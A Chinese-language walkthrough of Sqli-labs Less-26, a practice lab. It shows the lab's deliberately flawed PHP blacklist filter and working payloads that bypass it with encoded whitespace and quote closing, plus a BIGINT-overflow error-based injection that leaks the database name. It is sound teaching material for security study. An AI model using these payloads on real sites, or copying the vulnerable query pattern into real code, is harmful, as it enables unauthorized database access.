Sqli-labs Less-26 绕过 or、and、注释符、空格、斜杠过滤 基于BIGINT溢出的报错注入

关键代码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[/*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[/\\]/',"", $id);		//Strip out slashes
	return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

print_r(mysql_error());

本关结合25关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考less25。此处我们需要说明两方面:对于注释和结尾字符的绕过,我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

  1. %09 TAB键(水平)
  2. %0a 新建一行
  3. %0c 新的一页
  4. %0d return功能
  5. %0b TAB键(垂直)
  6. %a0 空格

本关sql语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1

我们首先给出一个最为简单的payload:

http://127.0.0.1/sql/Less-26/index.php?id=1'%a0||%a0'1

此时sql语句为SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1

第一个 ' 首先闭合id='$id' 中的',%a0是空格的意思,同时%0b等其他的空格绕过方法也是可以通过测试的。||是或者的意思,'1则是为了闭合后面的 ' 。

本关可以使用报错注入、延时注入等方法,下面演示一下基于BIGINT溢出的报错注入。

爆当前数据库

http://127.0.0.1/sql/Less-26/?id=1' union select (!(select * from (select database())x) - ~0),2,3 || '1

将空格用%a0代替

http://127.0.0.1/sql/Less-26/?id=1'%a0union%a0select%a0(!(select%a0*%a0from%a0(select%a0database())x)%a0-%a0~0),2,3%a0||%a0'1

接下来只不要更改sql语句即可。按照我们前面所介绍的方法即可。这里就不进行一一的演示了。

TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。

参考:https://www.cnblogs.com/lcamry/p/5762992.html

原文地址:https://www.cnblogs.com/zhengna/p/12652108.html